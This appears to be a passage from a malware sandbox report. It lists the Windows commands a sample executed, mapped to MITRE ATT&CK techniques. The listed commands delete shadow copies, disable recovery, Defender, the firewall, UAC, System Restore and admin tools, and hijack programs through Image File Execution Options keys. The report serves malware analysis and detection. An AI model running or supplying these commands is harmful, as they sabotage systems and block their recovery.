  reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f
  2⤵
  PID:1816
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Remote Assistance" /v fAllowToGetHelp /t REG_DWORD /d 0 /f
  2⤵
  PID:6636
- C:\Windows\system32\ReAgentc.exe
  reagentc /disable
  2⤵
  - Drops file in Windows directory
  PID:5984
- C:\Windows\system32\sc.exe
  sc config vss start= disabled
  2⤵
  - Launches sc.exe
  PID:4252
- C:\Windows\system32\sc.exe
  sc config srservice start= disabled
  2⤵
  - Launches sc.exe
  PID:7132
- C:\Windows\system32\vssadmin.exe
  vssadmin delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2588
- C:\Windows\system32\sc.exe
  sc config Schedule start= disabled
  2⤵
  - Launches sc.exe
  PID:4580
- C:\Windows\system32\net.exe
  net stop Schedule
  2⤵
  PID:5884
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop Schedule
    3⤵
    PID:4236
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} bootmenupolicy legacy
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4552
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2108
- C:\Windows\system32\sc.exe
  sc config wuauserv start= disabled
  2⤵
  - Launches sc.exe
  PID:6264
- C:\Windows\system32\net.exe
  net stop wuauserv
  2⤵
  PID:3984
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop wuauserv
    3⤵
    PID:6312
- C:\Windows\system32\sc.exe
  sc config trustedinstaller start= disabled
  2⤵
  - Launches sc.exe
  PID:3952
- C:\Windows\system32\net.exe
  net stop trustedinstaller
  2⤵
  PID:5372
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop trustedinstaller
    3⤵
    PID:6532
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows Defender\Policy Manager" /v DisableAntiTamper /t REG_DWORD /d 1 /f
  2⤵
  PID:6180
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
  2⤵
  - UAC bypass
  PID:1548
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\UsbHub" /v Start /t REG_DWORD /d 4 /f
  2⤵
  PID:3376
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\USBSTOR" /v Start /t REG_DWORD /d 4 /f
  2⤵
  PID:2584
- C:\Windows\system32\sc.exe
  sc config winmgmt start= disabled
  2⤵
  - Launches sc.exe
  PID:7028
- C:\Windows\system32\net.exe
  net stop winmgmt
  2⤵
  PID:6276
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop winmgmt
    3⤵
    PID:4716
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate" /v DisableRollback /t REG_DWORD /d 1 /f
  2⤵
  PID:4892
- C:\Windows\system32\sc.exe
  sc config netprofm start= disabled
  2⤵
  - Launches sc.exe
  PID:3380
- C:\Windows\system32\net.exe
  net stop netprofm
  2⤵
  PID:6840
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop netprofm
    3⤵
    PID:3828
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f
  2⤵
  PID:2848
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoEventViewer /t REG_DWORD /d 1 /f
  2⤵
  PID:6224
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableChangeTime /t REG_DWORD /d 1 /f
  2⤵
  PID:4720
- C:\Windows\system32\reg.exe
  REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\MMC" /f
  2⤵
  PID:6344
- C:\Windows\system32\reg.exe
  REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\MMC" /v RestrictToPermittedSnapins /t REG_DWORD /d 1 /f
  2⤵
  PID:2208
- C:\Windows\system32\reg.exe
  REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\MMC\{58221C67-EA27-11CF-ADCF-00AA00A80033}" /v Restrict_Run /t REG_DWORD /d 1 /f
  2⤵
  PID:7000
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:2812
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Policies\Microsoft\Windows\System" /v DisableCMD /t REG_DWORD /d 1 /f
  2⤵
  PID:2772
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
  2⤵
  PID:5296
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
  2⤵
  PID:5056
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoWinKeys /t REG_DWORD /d 1 /f
  2⤵
  PID:3556
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows\PowerShell" /v EnableScripts /t REG_DWORD /d 0 /f
  2⤵
  PID:5568
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows\PowerShell" /v ExecutionPolicy /t REG_SZ /d "Restricted" /f
  2⤵
  PID:3412
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "cmd.exe" /f
  2⤵
  - Event Triggered Execution: Image File Execution Options Injection
  PID:6512
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\svchost.exe" /f
  2⤵
  - Event Triggered Execution: Image File Execution Options Injection
  PID:1052
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mmc.exe" /v Debugger /t REG_SZ /d "cmd.exe" /f
  2⤵
  - Event Triggered Execution: Image File Execution Options Injection
  PID:5452
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:572
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Policies\Microsoft\Windows\System" /v DisableCMD /t REG_DWORD /d 1 /f
  2⤵
  PID:6476
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows\PowerShell" /v EnableScripts /t REG_DWORD /d 0 /f
  2⤵
  PID:6868
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows\PowerShell" /v ExecutionPolicy /t REG_SZ /d "Restricted" /f
  2⤵
  PID:2968
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
  2⤵
  PID:1416
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
  2⤵
  PID:4744
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoWinKeys /t REG_DWORD /d 1 /f
  2⤵
  PID:7004
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} bootmenupolicy Standard
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3680
- C:\Windows\system32\bcdedit.exe
  bcdedit /deletevalue {default} safeboot
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2260
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {current} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2632
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {current} advancedoptions No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:6384
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  PID:6996
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:5572
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:6620
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:3076
- C:\Windows\system32\sc.exe
  sc config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:3860
- C:\Windows\system32\net.exe
  net stop WinDefend
  2⤵
  PID:5200
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop WinDefend
    3⤵
    PID:5468
- C:\Windows\system32\sc.exe
  sc config wuauserv start= disabled
  2⤵
  - Launches sc.exe
  PID:4116
- C:\Windows\system32\net.exe
  net stop wuauserv
  2⤵
  PID:5368
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop wuauserv
    3⤵
    PID:5544
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
  2⤵
  PID:2832
- C:\Windows\system32\netsh.exe
  netsh advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:1812
- C:\Windows\system32\sc.exe
  sc config MpsSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5412
- C:\Windows\system32\net.exe
  net stop MpsSvc
  2⤵
  PID:5728
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MpsSvc
    3⤵
    PID:6804
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
  2⤵
  - UAC bypass
  PID:2352
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {current} bootstatuspolicy IgnoreAllFailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:5024
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {current} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:6188
- C:\Windows\system32\reg.exe
  reg delete "HKLM\Software\Policies\Microsoft\Windows NT\SystemRestore" /f
  2⤵
  PID:2872
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
  2⤵
  PID:5812
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f
  2⤵
  PID:5944
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows NT\SystemRestore" /v DisableMonitoring /t REG_DWORD /d 1 /f
  2⤵
  PID:5692
- C:\Windows\system32\sc.exe
  sc config srservice start= disabled
  2⤵
  - Launches sc.exe
  PID:3812
- C:\Windows\system32\net.exe
  net stop srservice
  2⤵
  PID:1224
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:5144
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows\System" /v EnableSmartScreen /t REG_DWORD /d 0 /f
  2⤵
  PID:4676
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows\System" /v ShellSmartScreenLevel /t REG_SZ /d "Off" /f
  2⤵
  PID:5704
- C:\Windows\system32\reg.exe
  reg add "HKLM\System\CurrentControlSet\Services\USBSTOR" /v Start /t REG_DWORD /d 4 /f
  2⤵
  PID:2928
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Policies\Microsoft\Windows\Installer" /v DisableMSI /t REG_DWORD /d 2 /f
  2⤵
  PID:6468
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "cmd.exe" /f
  2⤵
  - Event Triggered Execution: Image File Execution Options Injection
  PID:3920
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\svchost.exe" /f
  2⤵
  - Event Triggered Execution: Image File Execution Options Injection
  PID:5020
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe" /v Debugger /t REG_SZ /d "cmd.exe" /f
  2⤵
  - Event Triggered Execution: Image File Execution Options Injection
  PID:4528
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mmc.exe" /v Debugger /t REG_SZ /d "cmd.exe" /f
  2⤵
  - Event Triggered Execution: Image File Execution Options Injection
  PID:3876
- C:\Windows\system32\reg.exe
  reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe" /v Debugger /t REG_SZ /d "cmd.exe" /f
  2⤵
  - Event Triggered Execution: Image File Execution Options Injection
  PID:1780
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
  2⤵
  - Disables RegEdit via registry modification
  PID:4636
- C:\Windows\system32\gpupdate.exe
  gpupdate /force
  2⤵
  PID:2760

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:6832

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:2476

C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.6.10571.0_x64__8wekyb3d8bbwe\WindowsTerminal.exe
"C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.6.10571.0_x64__8wekyb3d8bbwe\WindowsTerminal.exe"
1⤵
- Suspicious use of SetWindowsHookEx
PID:6940
- C:\Windows\system32\wsl.exe
  C:\Windows\system32\wsl.exe --list
  2⤵
  PID:2988
- C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.6.10571.0_x64__8wekyb3d8bbwe\OpenConsole.exe
  "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.6.10571.0_x64__8wekyb3d8bbwe\OpenConsole.exe" --headless --win32input --resizeQuirk --width 120 --height 27 --signal 0xa48 --server 0xa44
  2⤵
  PID:5824
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe
  2⤵
  PID:3316
- - C:\Windows\System32\svchost.exe
    C:\Windows\System32\svchost.exe cmd.exe "C:\Windows\system32\Taskmgr.exe"
    3⤵
    PID:5788

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe cmd.exe "C:\Windows\System32\Taskmgr.exe"
1⤵
PID:4420

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe cmd.exe "C:\Windows\System32\Taskmgr.exe"
1⤵
PID:6452

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe "C:\Windows\System32\cmd.exe"
1⤵
PID:2016

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe cmd.exe "C:\Windows\System32\Taskmgr.exe"
1⤵
PID:5224

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe "C:\Windows\System32\cmd.exe"
1⤵
PID:6832

C:\Windows\System32\control.exe
"C:\Windows\System32\control.exe" "C:\Windows\System32\Firewall.cpl",
1⤵
PID:5540
- C:\Windows\system32\rundll32.exe
  "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Windows\System32\Firewall.cpl",
  2⤵
  PID:4560

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

Indicator Removal

T1070

File Deletion

T1070.004

Network Share Connection Removal

T1070.005

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery